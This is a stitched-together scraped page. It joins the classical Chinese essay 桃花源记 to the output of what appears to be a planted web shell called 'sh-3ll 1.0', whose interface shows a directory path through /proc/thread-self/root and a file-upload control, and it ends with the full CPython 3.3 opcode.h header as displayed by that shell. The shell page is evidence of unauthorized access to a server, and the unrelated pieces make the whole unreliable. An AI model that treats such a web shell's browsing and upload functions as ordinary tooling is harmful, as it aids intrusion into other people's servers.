晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 sh-3ll

HOME


sh-3ll 1.0
DIR:/proc/thread-self/root/proc/thread-self/root/opt/alt/python33/include/python3.3m/
Upload File :
Current File : //proc/thread-self/root/proc/thread-self/root/opt/alt/python33/include/python3.3m/opcode.h
#ifndef Py_OPCODE_H
#define Py_OPCODE_H
#ifdef __cplusplus
extern "C" {
#endif


/* Instruction opcodes for compiled code */

#define POP_TOP         1
#define ROT_TWO         2
#define ROT_THREE       3
#define DUP_TOP         4
#define DUP_TOP_TWO     5
#define NOP             9

#define UNARY_POSITIVE  10
#define UNARY_NEGATIVE  11
#define UNARY_NOT       12

#define UNARY_INVERT    15

#define BINARY_POWER    19

#define BINARY_MULTIPLY 20

#define BINARY_MODULO   22
#define BINARY_ADD      23
#define BINARY_SUBTRACT 24
#define BINARY_SUBSCR   25
#define BINARY_FLOOR_DIVIDE 26
#define BINARY_TRUE_DIVIDE 27
#define INPLACE_FLOOR_DIVIDE 28
#define INPLACE_TRUE_DIVIDE 29

#define STORE_MAP       54
#define INPLACE_ADD     55
#define INPLACE_SUBTRACT        56
#define INPLACE_MULTIPLY        57

#define INPLACE_MODULO  59
#define STORE_SUBSCR    60
#define DELETE_SUBSCR   61

#define BINARY_LSHIFT   62
#define BINARY_RSHIFT   63
#define BINARY_AND      64
#define BINARY_XOR      65
#define BINARY_OR       66
#define INPLACE_POWER   67
#define GET_ITER        68
#define STORE_LOCALS    69
#define PRINT_EXPR      70
#define LOAD_BUILD_CLASS 71
#define YIELD_FROM      72

#define INPLACE_LSHIFT  75
#define INPLACE_RSHIFT  76
#define INPLACE_AND     77
#define INPLACE_XOR     78
#define INPLACE_OR      79
#define BREAK_LOOP      80
#define WITH_CLEANUP    81

#define RETURN_VALUE    83
#define IMPORT_STAR     84

#define YIELD_VALUE     86
#define POP_BLOCK       87
#define END_FINALLY     88
#define POP_EXCEPT      89

#define HAVE_ARGUMENT   90      /* Opcodes from here have an argument: */

#define STORE_NAME      90      /* Index in name list */
#define DELETE_NAME     91      /* "" */
#define UNPACK_SEQUENCE 92      /* Number of sequence items */
#define FOR_ITER        93
#define UNPACK_EX       94      /* Num items before variable part +
                                   (Num items after variable part << 8) */

#define STORE_ATTR      95      /* Index in name list */
#define DELETE_ATTR     96      /* "" */
#define STORE_GLOBAL    97      /* "" */
#define DELETE_GLOBAL   98      /* "" */

#define LOAD_CONST      100     /* Index in const list */
#define LOAD_NAME       101     /* Index in name list */
#define BUILD_TUPLE     102     /* Number of tuple items */
#define BUILD_LIST      103     /* Number of list items */
#define BUILD_SET       104     /* Number of set items */
#define BUILD_MAP       105     /* Always zero for now */
#define LOAD_ATTR       106     /* Index in name list */
#define COMPARE_OP      107     /* Comparison operator */
#define IMPORT_NAME     108     /* Index in name list */
#define IMPORT_FROM     109     /* Index in name list */

#define JUMP_FORWARD    110     /* Number of bytes to skip */
#define JUMP_IF_FALSE_OR_POP 111        /* Target byte offset from beginning of code */
#define JUMP_IF_TRUE_OR_POP 112 /* "" */
#define JUMP_ABSOLUTE   113     /* "" */
#define POP_JUMP_IF_FALSE 114   /* "" */
#define POP_JUMP_IF_TRUE 115    /* "" */

#define LOAD_GLOBAL     116     /* Index in name list */

#define CONTINUE_LOOP   119     /* Start of loop (absolute) */
#define SETUP_LOOP      120     /* Target address (relative) */
#define SETUP_EXCEPT    121     /* "" */
#define SETUP_FINALLY   122     /* "" */

#define LOAD_FAST       124     /* Local variable number */
#define STORE_FAST      125     /* Local variable number */
#define DELETE_FAST     126     /* Local variable number */

#define RAISE_VARARGS   130     /* Number of raise arguments (1, 2 or 3) */
/* CALL_FUNCTION_XXX opcodes defined below depend on this definition */
#define CALL_FUNCTION   131     /* #args + (#kwargs<<8) */
#define MAKE_FUNCTION   132     /* #defaults + #kwdefaults<<8 + #annotations<<16 */
#define BUILD_SLICE     133     /* Number of items */

#define MAKE_CLOSURE    134     /* same as MAKE_FUNCTION */
#define LOAD_CLOSURE    135     /* Load free variable from closure */
#define LOAD_DEREF      136     /* Load and dereference from closure cell */ 
#define STORE_DEREF     137     /* Store into cell */ 
#define DELETE_DEREF    138     /* Delete closure cell */ 

/* The next 3 opcodes must be contiguous and satisfy
   (CALL_FUNCTION_VAR - CALL_FUNCTION) & 3 == 1  */
#define CALL_FUNCTION_VAR          140  /* #args + (#kwargs<<8) */
#define CALL_FUNCTION_KW           141  /* #args + (#kwargs<<8) */
#define CALL_FUNCTION_VAR_KW       142  /* #args + (#kwargs<<8) */

#define SETUP_WITH 143

/* Support for opargs more than 16 bits long */
#define EXTENDED_ARG  144

#define LIST_APPEND     145
#define SET_ADD         146
#define MAP_ADD         147


/* EXCEPT_HANDLER is a special, implicit block type which is created when
   entering an except handler. It is not an opcode but we define it here
   as we want it to be available to both frameobject.c and ceval.c, while
   remaining private.*/
#define EXCEPT_HANDLER 257


enum cmp_op {PyCmp_LT=Py_LT, PyCmp_LE=Py_LE, PyCmp_EQ=Py_EQ, PyCmp_NE=Py_NE, PyCmp_GT=Py_GT, PyCmp_GE=Py_GE,
             PyCmp_IN, PyCmp_NOT_IN, PyCmp_IS, PyCmp_IS_NOT, PyCmp_EXC_MATCH, PyCmp_BAD};

#define HAS_ARG(op) ((op) >= HAVE_ARGUMENT)

#ifdef __cplusplus
}
#endif
#endif /* !Py_OPCODE_H */